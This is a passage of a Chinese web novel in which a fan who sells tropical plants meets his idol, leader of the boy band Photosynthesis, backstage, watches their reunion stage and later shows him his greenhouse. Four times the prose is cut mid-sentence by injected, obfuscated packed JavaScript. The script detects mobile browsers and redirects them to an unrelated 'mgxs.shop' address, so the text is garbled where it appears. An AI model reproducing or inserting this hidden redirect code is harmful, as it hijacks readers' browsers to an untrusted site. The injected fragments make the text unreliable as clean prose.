温可言看毛思敏的五官都快要重组了,只能拍拍她的肩膀:“总之,今晚,从现在开始你就是裴诗琳老师的歌迷了!” “谁?”毛思敏发出一个气音。 “裴诗琳老师。”温可言确定道。 毛思敏:“我没记错的话,这是我爸妈那辈的歌手了吧!” 温可言扯出微笑:“嗯。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348856|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哦哦,哦……”毛思敏抱着痛包,眉头紧缩着开始逐字逐句回味刚刚温可言说的话,“不是,你的意思是你去过简哥家里了?” “是的。” “滨江云锦的家?” 温可言:“对,去四次了。” “那你见过简……”毛思敏话没说完,有个人走到了他们面前。 身高187体重187的张海峰站在他们面前,穿的一身黑戴了个鸭舌帽,“温老板,你好。” 温可言和毛思敏滕地一下站起来,“你好。” “我叫海锋,是简承的助理,简哥让我来接你们去场内,”张海峰笑呵呵的,上下偷瞄温可言,“你说巧不巧我刚刚出来拿外卖,外卖员送错位置从到前门了我刚好过来就看见了你。走吧走吧,快开始了。” 刚刚还话不停地毛思敏现在呆如木头,手脚僵硬地被温可言拉着走,快走到员工通道了她才缓过来,偷偷问温可言:“他怎么认识你啊?” 张海峰听到了回头,依旧笑呵呵的,“平时简哥看直播买货的时候偶尔我也在,温老板你比直播间里看着瘦一些。” “哈哈是么。”温可言尴尬地笑着,“可能是上镜显胖。” 张海峰笑:“我们简哥也是。” 毛思敏:“……” 到了员工通道闸口,张海峰从兜里掏出两张工作牌给他们,刷工作牌进去。 “马上到了。”张海峰说着,从长长地走廊拐进去。 等温可言和毛思敏反应过来。张海峰要带他们去哪里的时候已经来不及了,贴着光合作用纸条的门被张海峰推开。 “简哥,人到了。” 温可言、毛思敏:“…………” 房间内的四个男人看向门口,齐齐挥手:“Hi,温老师。” “我真的要晕了。”毛思敏闭着嘴含糊不清地说。 喜欢了十年的偶像就这样出现在面前,还一次四个,温可言愣住片刻之后竟然有些鼻酸。 他皮肤白,一点哭意就能看得出眼眶鼻尖泛红。 简承走过来,“怎么了?” 房间里除了光合作用四个人,还有张海峰和rap担陈嘉俊的助理,看到简承过去其余人也围了过来。 “哎哟。” “怎么了这是?” “海锋?” 身为妈粉的毛思敏快宕机了,微微后撤一点伸手戳温可言的腰。 温可言默默举起手挡住自己的嘴,“我……太感动了。” “感动哭了?”简承歪头和温可言对视。 温可言嗯嗯点头,把毛思敏拉到旁边,“谢谢你们,我朋友真的很喜欢裴诗琳老师!” 12.第 12 章 除了简承以外的人都抿着嘴憋笑,三位队员默默看向简承。 “应该的。”简承轻轻干咳,“你帮了我那么多忙。” 说完他实在没忍住一样,勾着嘴角问:“要不要带你们去找裴诗琳老师合照签名。” 对内性格最活泼的老幺林路远接话:“对对,之前在晚会上碰过好几次面,裴诗琳老师人特别好。” “不不。”温可言忙摆手,“我朋友性格比较内敛。” 毛思敏赶紧接话:“我是i人。” 说完把怀里的痛包抱得更紧了。 林路远实在是憋不住了,噗嗤一声笑出来倒在rap担陈嘉俊肩膀。 毛思敏:“……” “进来休息一会儿吧,还没开始。”简承说着,后退两步,成员们也都散开。 休息室里只有一个沙发和两个椅子,成员们自觉地散落在椅子和桌子上,让简承带着温可言和毛思敏去坐沙发。 “喝水吗?”简承问。 他说完之后旁边的张海峰就递了两瓶水过来。 张海峰说:“包包放这边吧。” 毛思敏:“不,我……喜欢拿着。” “是的。”温可言伸手接下两瓶水,“她比较依赖自己的包包。” “这是痛包吧。”林路远说。 舞担梁稳嗯了一声,他染了一头银发,胸口别着代表组合英文缩写的“POT”名牌,靠坐在化妆桌一角,和平时的人设一样比较冷酷寡言,虽然不怎么说话但也不玩手机不打瞌睡,就这么听别人聊天。 温可言背的是普通的斜挎包,听到林路远说到痛包马上演技大爆发:“什么是痛包?” 毛思敏缓缓转头,“?” “痛包就是可以展示周边的包包,装点娃娃小卡徽章什么的。”林路远说着,忽然坐到沙发扶手来,“没想到裴诗琳老师还有棉花娃娃呀。” 温可言和毛思敏尴尬低头。 “小远。”简承看向林路远。 林路远心虚地垂眼看毛思敏,“不好意思,我不是那个意思,请原谅。” 毛思敏抬眼看他,连连摇头,“没事。” 温可言喝口水,坐得笔直,心想原来私底下他们真的是这么相处的。尽管全员奔三了还是大哥说一不二,皱个眉头弟弟就老实了。 一时间房间里没人说话,毛思敏用手肘轻轻碰了温可言一下。 温可言抬头看简承求助。 虽然和追了十年的偶像见面对粉丝来说是天大的惊喜,但一下子把他们两个放到这么私密的空间里来,还不能暴露粉丝身份,对温可言和毛思敏来说有种无言的压力。 简称接到他的视线,“海锋,你送……” 话没说完有人敲响房门,离门最近的助理打开,是晚会的工作人员过来沟通新的候场信息。 如今各自活动,经纪人也不是同一个了,身为大哥的简承出面去沟通。 张海峰小声叫温可言的名字,“我送你们过去。” “好,谢谢。”温可言和毛思敏起身,走到门口的时候不约而同地回头看一眼房间里的四个人。 本以为没人注意,没想到对上简承忙碌的视线。 他一边听着工作人员的安排,一边抬手轻轻挥了下。 两人跟着张海峰在后台走了一大圈,从特殊通道来到了看台侧面,这里看起来像是家属区,还有带小孩子来的。 落座之后张海峰就走了。 “我操。”毛思敏捂着脑袋凑过来,“我要死了。” 温可言:“又说死,快呸呸呸。” 毛思敏:“不是这次真的有点微死了,温可言你经常藏了那么大一手,到底怎么回事啊?你怎么就认识简哥了?我们怎么就进休息室了?” “就是我跟你说的那样……” “天呐。”毛思敏完全听不进温可言说的话,自顾自地说着:“这么说那天你突然得到消息说要买票,其实是从简哥那里知道的。” “对呀……” 毛思敏摸摸自己脑门,“而且简哥还看你直播,因为你是直播一物一拍的。” “嗯……”温可言抓住毛思敏手腕,“毛毛,你怎么了。” 毛思敏一脸严肃:“简哥不会真的是gay吧。” “啊?怎么这么说?” “我去,简承对你有意思?否则不能理解这个展开,甚至连嘉俊小远都知道你,搞不好私底下说过。” 温可言皱眉:“毛毛!他不知道我是粉丝的!我没说,我怕他知道了不自在,毕竟他们是爱豆,知道是粉丝肯定会保持距离的。” “你装傻还是真傻?”毛思敏问。 “啊?” 毛思敏:“他们肯定知道我们俩是粉丝好吗?!” 温可言:“不会吧。” 毛思敏:“刚刚小远憋笑都快憋死了!” “怎么又说死,呸呸呸。”温可言说完,转头看着舞台说:“可能以为你是吧,我藏得很好的。” 毛思敏叹气,“正常人都会觉得这不正常。” “不是的,你不知道他买了很多很多热植,还特别贵,上个月我跟你说两万多一棵红皇后就是他拍走的。” 温可言越说越着急,“这次去四川拍戏三四个月,他怕热植都死了。” 毛思敏:“他一个大明星还能没人帮他浇下水了?” 温可言:“我专业呀。” “你……”毛思敏哑口,“你就这么装傻吧。” 毛思敏说完,没有收到温可言的回应,担心真把他说难受了就歪头去看他,“不过我也是大胆猜测的,也有可能就是你说的那样,他只是担心那几盆绿植死了。” “真的,你不知道他把那些漂亮的热植养得多差。”温可言说。 毛思敏:“……行。” 两人沉默了一会儿,毛思敏又问:“那你们现在是什么关系?” 温可言想了想,“朋友?” 场馆内已经坐满了人,音响放着音乐热场。 这是久违的光合作用合体,看台区有几个长灯牌挂着,但跟五年期没办法比了。粉丝们也接受了在没有舞台的内娱转型是必然,只是常常难以接受一眨眼他们已经是快三十岁的年纪。 温可言看着远处的灯牌,轻声喊了声“毛毛”。 “我还是觉得太魔幻了。”毛思敏靠向椅背叹口气,“CPU要炸了。” 两人交头接耳说了一大堆,说完各自沉默着捋思路,直到晚会开始。 这种跨年拼盘演唱会有歌手有演员,大部分都是一个节目, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352650|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光合作用身为早期的内娱本土男团中影响力最高的,晚会给了三个节目,第一个是是两个主舞林路远和梁稳的纯舞蹈舞台,第二个是简承和陈嘉俊的合唱,这首歌是三年前两人联合出的单曲。 观众区的粉丝已经在疯狂尖叫了,温可言和毛思敏只能握着应援棒激动不敢喊。 ——家属区真的好淡定啊! 合唱结束,主持人上台串场,和观众区互动抽奖。 毛思敏问:“你不是说有合体唱跳舞台吗?” 温可言:“我记得他是那么说的。” “难道他的意思是小分队合体?”毛思敏说着,语气变得沮丧,“都一起来了为什么不合啊?” 话音刚落,支持人互动结束开始报下一个节目。 “刚才得两个节目,大家的尖叫声我已经听见了,但是呢好像还不够。”主持人笑着卖关子,“如果两组节目的人合在一起,是不是尖叫也会翻倍呢?接下来让我们有请光合作用带来《YES!DANCE!》” 温可言和毛思敏正难过呢,听完报幕再也忍不住了。 “POT!POT!啊————” 前排的几个人被吓得一愣,转过头看他们。 两人捂住嘴巴,“对不起。” “没事没事,正常的。”一个看起来四十岁左右的姐姐摸摸她女儿的头,“你们是他们朋友吗?” 两人对视一眼,“嗯嗯!” 漆黑的舞台上亮起四个光柱,四个男人从黑暗中伸出一只手,随后缓缓走入光柱内,随着熟悉的前奏和灯光一起铺满舞台,场馆内又掀起一阵尖叫。 十年前的少女已经长大,在忙碌的工作间隙奔赴陌生的地点来参与一场约会,本以为早已没有了曾经的热情,直到那四个熟悉的人又一起出现在舞台上,泪水蓄满眼眶,模糊之中才发觉,有些东西一直没有改变。 《YES!DANCE!》是光合作用五周年时出的专辑的主打曲,在五周年演唱会上首唱。那时候粉丝还不知道那将是他们的最后一张合体专辑最后一次演唱,解约后版权归公司所有,再也没有公开唱过。 温可言看着舞台上认真的四个人,想到简承跟他说过太久没泡练习室导致舞台功力下降的事。 确实是啊,简承。 温可言笑。 这个舞台无疑是今晚的高|潮,每一个为了他们来的粉丝都像回到了五年前。 结束后的talking环节,两个舞担还好一点,简承和陈嘉俊累得直喘气。 “谢谢光合作用的表演,真的非常精彩,有什么想对观众们说的吗?”主持人串词。 简承是队长,照例第一个说话:“首先祝大家新年快乐,终于又一起见面了,其实我们四个这几天都很激动很开心,你们呢?开心吗!” 台下齐齐回答开心! 主持人笑着:“这一年要过去了,简承,有什么开心的事吗?” 简承低头笑了一下,“有。” 主持人:“可以说说吗?” 不知道是不是错觉,粉丝们觉得简承的心情莫名荡漾,他说:“犹豫了很久的事终于往前踏了一步。” “什么事呢?”支持人的眼神一一扫过四个人,最后回到简承。 简承:“暂时保密。” 13.第 13 章 简承的一句保密让台下的粉丝炸开了锅,有以为是要开演唱会的,也有怀疑是不是有个孩子的。倒是台上的陈嘉俊梁稳和林路远笑了下。 主持人没有再深入这个话题,接着串词,一一采访过后开始下一个节目。 温可言觉得是要开演唱会了,因为简承还跟他说过在慢慢收回握在前东家手里的版权。 起初毛思敏觉得简承是思春了,但听温可言说了收回版权的事,又觉得很有道理。 “简哥这个人吧。”毛思敏摸摸自己下巴,“他讲话老是这样云里雾里又很有道理,真是难琢磨。” 温可言认同地点点头。 毛思敏:“要不有机会你从小远那里套一下,他嘴上没把门的。“ “……”温可言呆呆道:“我只是个上门浇水的。” 毛思敏笑:“并非如此。” 两人回味着光合作用的舞台看完了晚会录制,看到裴诗琳老师老师上场的时候还不忘激情打call。 恍恍惚惚走出场馆后在场外看到了很多同担,好几个眼妆都哭花了。 “走出去打车吧。”温可言说。 他拿出手机想看一下网约车平台的状况,没想到有简承的信息。 。:要不要我送你们回去。 。:在看完裴诗琳老师的表演之后。 温可言看了下时间,差不多是在他们舞台结束的时候发来的。 简哥人真的好好,果然没有追错人。 “先坐地铁出去再打车,人这么多打不到的。”毛思敏拉着温可言走。 “好。”温可言匆匆回复消息,跟简承说不用了,没看到消息现在才出来。 回到毛思敏家里已经快十二点了,温可言婉拒了毛思敏的留宿邀请,还是要开车回家。 “那你到家给我发消息哦。” “好知道了,不用管我你快点睡吧,这条路我很熟的。” 温可言坐在车里缓了缓,江雯女士打电话来问他回家了没有。 “现在出发的话差不多两点才能到家呢。”江雯女士估算着时间,说:“回来要是饿的话冰箱里有馄饨,厨房锅里有卤味。” “谢谢妈,快睡觉吧。”温可言挂了电话,点进微信里,简承又发了消息过来。 。:你回家是不是很远? 温可言回复他:有一点。 这个时间还以为简承已经休息了,没想到他秒回:现在是到家了吗? 温房:还没有呢,正准备开车回去。 。:这么晚? 温可言微微噘嘴,在心里吐槽,我们观众又没有专车通道咯! 温房:对呀,演唱会结束出来很难坐上车的。 。:那你到家跟我说一声。 看到这句话的瞬间温可言有点迷惑,但转念一想,以前每次演唱会或者线下活动结束,他都会跟粉丝说到家记得报平安的。 温房:不用了吧会很晚的。 。:没事,我们聚会呢不会很早结束。 。:[图片] 图片是一张从简承从沙发视角拍的,四人围坐在茶几旁玩牌喝酒,坐在简承正对面的梁稳和陈嘉俊全脸露出! “哇……”温可言立刻保存私藏。 再仔细一看照片左边还有林路远的一只手一条腿,照片下方还露出了简承的牌。 看样子玩的是梦幻金花,简承手中的是一张黑桃J。 温可言还在品味,简承的下一条消息又来了,是一条语音消息,只有三秒。 现在的温可言已经能面不改色心不跳地点开简承发来的语音消息了。 “是我呀温老师我也想养热植能不能也教——” 话说到这里就断了。 。:不好意思,弟弟捣乱。 。:林路远,说痛包的那个。 温可言笑,心想我当然知道,一秒钟我都能听出来好吗。 温房:没事,如果他也想养热植的话也可以的,但最好是开春了再养,有很多适合新手的品种可以了解一下。 。:也去看你直播间吗? 温房:对啊。 。:没事。 。:温老师,今天的演出你看得开心吗? 温可言抑制不住脸上满足的笑容,手指却能打出云淡风轻的三个字:挺好的。 晚上的路不堵车,但夜路温可言不敢开太快,差不多凌晨两点钟才回到家里。 爸妈已经睡了,客厅的氛围灯亮着,温可言轻轻关上门,和不情不愿来迎接他的猫咪互动一会儿才回房间洗漱。 原本想着不吃宵夜了,怕长胖,但是洗完澡饥肠辘辘。 “还是老妈有远见。”温可言碎碎念着,决定成全自己的肚子去煮馄饨吃。 又不是明星,胖就胖了! 这么冷的天气,在外面跑了一天,见到偶像还看了合体舞台之后回到家里,一碗妈妈包的馄饨加上独家卤味。 如果吃宵夜的时候再打开刷一刷社交平台上其他粉丝拍的精美帅照,岂不是幸福加倍。 温可言拿出手机,刚点开微博就看到四个人今晚都发了营业微博。 最初光合作用四人分开活动的时候,被很多人说他们关系不好,但是过去五年这种声音反而少了很多。因为在各自活动的时间里,他们依旧保持着密度相当高的聚会,并且会po在社交平台上,甚至会去对方家里拜年。 在新生代偶像组合猛打架避嫌的时候,光合作用就这样持续不断地告诉粉丝,我们的关系很好。 对像温可言和毛思敏这样的萌萌团粉来说,简直可以追一辈子! 温可言乐呵呵地看了会儿林路远的评论区,往下一滑愣住了。 简承的文案是:今天的舞台你们看得开心吗? “啥意思。”温可言嘴里还咬着一根鸭翅。 这句话,刚刚简承在微信单独给自己发了一次。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355972|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 温可言懵懵地看了一会儿评论,接着去超话看看。 【今晚的妆造真的梦回五周年】 配舞台精修图18张,温可言一一欣赏,存了几张。 【为什么我能肯定简哥这句话不是说演唱会,因为他说完俊稳远都在偷笑】 温可言点进配的视频,当时忙着看简承了还真的没有注意其他三个。 视频里简承说完“暂时保密”之后,林路远就和陈嘉俊憋着笑对视,这个藏不住一点心事的林路远更是笑得肩膀都在发抖。 不爱说话的梁稳则是低下了头,po主特地将视频暂停在这里插入一个放大梁稳面部的图片,原来梁稳也在抿嘴憋笑! 温可言第无数次感叹同担的分析能力,说得好有道理。 温可言开始信了,但不是演唱会是什么? 温可言点进评论区。 热评1:哥哥你别生孩子什么我都原谅你qwq 热评2:简承不想当魔法师。 热评3:没错!嫂子就是我们幺儿小远,等官宣吧,煎卤99!! “什么!”温可言震惊。 居然是恋爱了吗? 温可言又在评论里翻了一会儿,一部分唯粉说不可能,一部分佛系粉丝在吃瓜搞笑,剩下的就是cp粉在等官宣。生气辱骂的评论没几条,不知道是不是被删了。 原本还震惊这个分析结果的温可言看评论看得乐呵呵,不知不觉一小盘卤味都吃完了。 “呵呵呵哈哈。”温可言在看到评论里说再不谈就是一直在谈的时候笑得不行,“放心吧,我去他家里看过了,应该是没谈!” 温可言在超话里逛了一会儿,刷到淫追贴又在评四大一的时候微信忽然弹出消息。 。:还没到家吗? “啊……”温可言把这个事给忘了,赶紧擦擦手给他回消息。 温房:到了,不好意思忘记说了。 。:这样我会很担心。 温房:对不起。[衰/] 。:怎么还不睡? 温房:吃宵夜。 。:嗯,我朋友刚走了,我在玩手机等你的消息。 温可言皱眉,又开始觉得简承的话很奇怪。 温房:是嘛,不好意思是我忘掉了,你快睡吧。 。:温老师,我又在小红书看到这个。 。:[图片] 温可言点开一看,原来是花友发的逛大棚帖子,封面首图就是大棚的巨物躺椅区,几乎每个来参观的花友都会在那里打卡拍照。 温房:嘿嘿拍得真好,大家都喜欢在那里打卡。 。:我也喜欢那里。 温房:有机会可以来参观大棚。 。:好啊,明天晚上我就回剧组了。 温可言正在打字:没关系呀以后有时间…… 唰地一声,聊天框里出现新消息。 。:上午来可以吗? 14.第 14 章 温可言打了个嗝。 “什么意思啊。”温可言捧着手机,缓缓删掉了打字框里的字。 他尝试着回复:你自己来吗? 。:对,方便吗? 最近大棚和温可言是都挺闲的,温可言没有拒绝的理由。给简承回复过消息之后温可言收拾碗筷去洗漱,躺在床上毫无睡意。 经过昨天晚会的事,温可言现在竟然觉得这样的接触也挺好的。 通过热植和简称产生联系,是他们完全不同的人生中一个健康又自然的接口。 温可言忽然想到,这么多的同担散落在各行各业。 如果是护士可能会在简承看病的时候见到他;如果是服务员可能会在简承去吃饭的时候见到他;如果是摄影师还有可能会给简承拍照。 身为热植商家的自己因为他喜欢热植认识了他,这其实很正常。 但简承为什么会喜欢热植呢?以前从来没有听他说过。温可言想着,摸出手机来看他微信头像。 简承没有在社交平台分享过幼崽时期的照片,粉丝们见过最早的照片也是初中的时候。 小剪刀都知道简承家在东南一带,他母亲很早就去世了,父亲再娶,他一直和家里的感情很淡,这几年不止一次在过年期间被人在国外偶遇,他连过年也不会回家。 在光合作用男团时期,其他三位成员的家人都或多或少的露过面,比如生日会的祝福视频,演唱会的家属区,但是简承一次也没有让家人露过面,被问起也只说一句他们很忙。 一直和家人关系冷淡的简承用了一张童年照当私人微信的头像。 “你是想念童年的是吗?”温可言轻轻摩挲着手机屏幕。 温可言看着头像照片里那片巨大的龟背竹叶片,想着这是不是他喜欢热植的原因。 温可言的脑子乱作一团,这一天实在是发生太多事情了,想着明天还能跟简承见面,无论如何都睡不着。 约定的逛大棚时间是上午十点,温可言大概在凌晨五点入睡,然后在八点钟被闹钟叫醒。 “哇你这个黑眼圈。”江雯女士正在吃早餐,“几点钟回来的呀。” 温可言感觉眼睛在下坠,机械地坐到她对面,“两点。” “怎么跟通宵了一样。”江雯女士说着,对厨房喊:“老公,给儿子拿早餐。” 温可言:“谢谢妈。” 江雯女士:“吃完你再去睡一会儿,反正最近大棚里也没什么事。” “不行,一会儿有人来参观大棚。”温可言说着,一碗豆浆放在了面前,温可言抬头说:“谢谢爸。” 温国强顺势坐下,“让别人接待一下呗。” 温可言:“这个不行。” “什么花友这么大牌。”温国强说。 温可言突然笑了声,小声说:“确实很大牌。” 哥哥身上可是有蓝血代言的! 吃完饭爸妈就出门去店里了,温可言开始收拾自己,换上自己最贵的衣服穿上之后对着镜子把头发抓一抓。但是这个脸怎么看怎么憔悴。 洗手台上放了很多瓶瓶罐罐,大部分都是江雯女士的护肤品化妆品。温可言翻翻找找,找到了一瓶素颜霜,赶紧挤脸上涂好。 这下看起来气色好多了,但是眼下的黑眼圈还是很明显。 温可言本来眼睛就大,还遗传了一点老爸的少数民族血统,眼窝偏深,这样一看两只眼睛像熊猫一样。 “遮瑕……”温可言在洗手台找了一圈没找到,就去爸妈卧室里的梳妆台找,找到之后发现有三个颜色。 “用哪个啊?” 主卧里没开灯,温可言就着窗外的光线观察遮瑕膏的颜色,一个有点黑,一个橘红的还有一个白一点的。 温可言分不清颜色的用途,想着黑白对冲,就用了最白的那个色号。他用手指沾了一点往眼下抹了抹,感觉还不错,迅速对着梳妆台的镜子把两只眼睛都抹好。 已经快九点半了,温可言赶紧开车去基地。 到基地门口正好碰上秦烟来上班,她裹着长到小腿的羽绒服双手揣在兜里,“小温,你不冷啊。” 温可言整理一下大衣,吸了下鼻子:“不冷啊。” 两人并排往基地走。 “你穿Burberry来大棚干嘛?” “哦,就随便穿穿。” 秦烟笑:“你化妆啦?” 温可言:“没有啊,你哪里看出来的?” “你——”秦烟话没说出口,一声车喇叭响起,两人齐齐回头看,是一辆陌生车牌的比亚迪。 “嗯?谁啊?”秦烟说着,想过去看看。 温可言想起简承地库里夹在两辆豪车中间的那辆比亚迪,忙拉住秦烟,“不用,我的客人我去招呼。” 秦烟:“花友啊?” “嗯嗯,你先去忙吧。”温可言说完往停车的地方小跑过去。 还没等温可言跑到车旁,简承就推门下车了。 他穿着普通的黑色羽绒服和浅色牛仔裤,帽子口罩一样都没有戴,只围了一条围巾,素颜的脸依旧很能打,看起来很邻家。 “温老师。”简承笑着站在车旁。 温可言有些害羞,“你来啦。” 说话的时候眼神不自觉地看了眼他的比亚迪内饰,看着是有使用痕迹的。 “怎么了?”简承笑。 温可言不好意思的抿了下嘴唇,说:“没想到大明星也开比亚迪。” 简承:“这样不惹眼,出门没人注意更方便。” 温可言哦哦点头,偷偷打量他今天的穿着,心里想着这样也是为了降低别人的注意力么?唉哥哥就是帅而不自知吧,其实这样还是很帅,而且帅得很有亲和力走在街上谁都敢看两眼。 “是哦。”温可言口是心非的附和。 简承嗯了一声,转身去后座拿带过来的礼物。 一个甜品盒子和一个不知道是什么的礼盒。 “给我的?”温可言反手指了下自己。 简承看到他手指红红,微微皱眉说:“穿得太少了,温老师,会着凉的。” 温可言接下礼物,还是嘴硬,他笑着说:“不冷啊,一点都不冷。” 他说话的时候唇周冒着白汽,氤氲雾气中鼻尖也是红的,笑起来牙齿很齐很白。但是眼睛下面亮亮的,像没拍开的粉底液,有些看不清楚。 “进去吧。”温可言说着,走在前面带路,他不知道自己现在讲话已经开始有鼻音了,“今天大棚没什么人,不会有人认出你来的。” 简承:“温老师,我有这么见不得人吗?” 闻言温可言愣了下,猛地转头想要解释。 “给。” 一条米白色围巾递到他面前。 简承说:“一会儿感冒了。” 温可言微微后仰,“真的不用,我一点都不冷。” “温老师。”简承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360994|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没忍住低头轻笑,接着抬起头来,“咳,你鼻涕流出来了。” 温可言如五雷轰顶,忙抬手挡住口鼻,声音闷闷地说:“怎么会这样……” 简承从口袋里拿出纸巾,抽了一张给他。 “谢谢。”温可言接下,背过身去擦鼻涕。擦鼻涕的时候不断懊恼怎么会流鼻涕了也不知道。 简承往前走了两步和温可言并排着,再次递出自己的围巾。 “戴上吧,否则温老师因为要带我逛大棚被冻感冒,我会愧疚死的。” “啊,呸呸呸。”温可言转头看简承,“不能随便说死的。” 简承微微挑眉,随后抿着嘴唇似乎在做思想准备,“呸。” “是呸呸呸。” “呸呸呸。”简承说。 温可言这才点着头,小声解释说:“小时候奶奶跟我说,说了不吉利的话呸呸呸就可以把不吉利的话丢到地上。” “好,我知道了。”简承第三次递出围巾,“嗯。” 温可言抬眼看了看他,看他素面朝天的样子,鼻侧两颗小小的痣看得一清二楚,下巴上还有没完全消失的一颗痘印。 他眼神里的担忧很真实,和爸妈、秦烟或者毛思敏没什么区别。 好像……不在镜头前的他,也是一个要吃饭睡觉,有些小爱好,愿意为了爱好能在休息日起个大早的普通人。 温可言接下围巾,用最简单的方式系上。 是羊绒的,很快就暖和了起来。 “谢谢你,简先生。”温可言说。 两人并排慢慢走着,简承没应这声感谢,他忽然开口:“你叫我简哥吧。” “啊?” “简先生听起来好客套,你和我们组合的两个弟弟差不多大,叫我简哥就好,这样显得亲切一点。” “简……哥。” 简承笑:“好。” 温可言心虚地微微低头。 心想更亲切的我也不是没叫过。 简哥,哥哥,宝宝,老公,爸爸。 一路走到热植大棚,路上没碰到人倒是在大棚门口碰到了在溜达的两只小狗,一只串串,一只金毛。散养的小狗没那么精致,见了温可言就扑上来打招呼。 温可言正忙呢,敷衍地摸摸狗头,“乖乖乖。” “你养的吗?”简承问。 “算是我们基地收编的,金毛叫水晶,串串叫小乖。” 水晶好奇地看着简承,尾巴摇得飞快。 简承弯下腰伸手给它闻,没想到手一伸出来水晶立刻热情地扑了上去。 “水晶!!”温可言把小狗扒拉下来,但是已经晚了。 简承的浅色牛仔裤上两个大大狗爪印。 小狗每天在基地里刨土玩,狗爪没有一刻是干净的,小狗似乎察觉自己闯了祸,尾巴摇得没那么欢快还呜呜哼唧着。 温可言忙替小狗道歉,“对不起对不起,把你裤子弄脏了。” “没事。”简承并不在意,还摸摸水晶安抚它。 温可言偷偷给小狗龇牙,“自己去玩。” 小狗跑了,温可言还是不好意思,抱歉地看向简承。 “真的没关系。”简承笑着,“难道在温老师眼里,我是这么小气的人吗?” 温可言:“你是明星呀。” 简承看着温可言的眼睛不说话,把温可言看得低头把脸埋进柔软的围巾里。 他笑了笑:“走吧。” 15.第 15 章 上南市郊外的冬天,放眼望去到处都是灰扑扑的。修修补补的大棚上满是雨水泥土留下来的痕迹,不常用的工具堆在门口。 但推开薄薄的一扇门之后却是一个充满热带气息的热植世界。 温可言看习惯了不觉得有什么,回头提醒简承小心地面不平整的时候却看到他惊喜又震撼的眼神。 “简先生。” “嗯。”简承回过神来,眼神不舍地从热植转移到温可言脸上,微微偏头说:“简哥。” 温可言还没适应,小声说:“简哥,进去看看吧。” 本以为大棚里没人,没想到进去之后有阿姨在给小苗浇水,见温可言带人进来打了个招呼。 “我记得你这两天休息呀,阿姨。” “我跟小张换了,下周我休。” 阿姨之前是老爸那边的员工,开热植大棚之后跟着温可言来这边,是现在培育组的老员工了。 平时直播接待的事她不管,但今天碰上了就打量两眼。 跟老板进来的这个男人怎么看着有点眼熟呢? “你朋友呀。”阿姨说着,忽然啊呀啊呀两声,“他是不是那个明星呀,什么矮豆高豆的。” 温可言大惊失色忙摆手,简承却在旁边笑出声来。 “是的阿姨,我是矮豆。”简承笑得不行。 阿姨:“噢哟明星来了,不得了嘞,我听你歌老多了。可以合影不?” “可以。”简承毫无架子地走过去,弯下腰和阿姨合照一张。 “明星就是不一样。”阿姨说,“怪不得我们基地老是放你的歌,那个什么俊俊……哎呀全是英文我不会唱。” 简承自己都顿了一下,才反应过来阿姨说的是“dream dream”,是光合作用时期出的歌。 拍完照片阿姨去忙了,温可言小声问他:“这样给合照没关系吗?要不要我跟阿姨说一下让她不要发出去……” “没关系。”简承说着,凑过去看一株鳟鱼锦,漫不经心地说:“已经不是男团时期了。而且我是自己的工作室,还是蛮自由的。” 温可言忽然想到粉圈里有些阴谋论,把所有不满的地方都说成公司的压迫,说自担有多凄惨可怜以此达到虐粉的目的。 例如简承这五年以来演了十一部影视剧但没有一部男一号这个事,就有非常多粉丝攻击简承的工作室,说他们不作为,就算简承解释了那是自己的选择,粉丝也认为是公司强迫的。 这类虐粉话术在简承的粉圈里不算多,但年纪较小的两位成员粉圈里非常盛行。 虽然温可言和毛思敏都不太信这些洗脑包,但亲耳听到简承这么说还是挺意外。 “干嘛。”简承回过头看他,“不信啊?” 温可言笑笑,“也不是,就是比较意外,还以为你们……你们明星会比较受公司牵制呢,尤其是爱豆出身。” 简承双手揣进兜里,“爱豆时期确实是这样的,但我快三十岁了。” 他往前走了走,又转身面对着温可言缓缓后退,说:“我已经到了被粉丝嘲笑是老处男的年纪了,温老师。” 比害羞先来的是粉丝的窃喜。 yes!!! “咳……是么。”温可言胡乱应了一声。 “不信?”简称看着温可言。 “不是那个意思。” 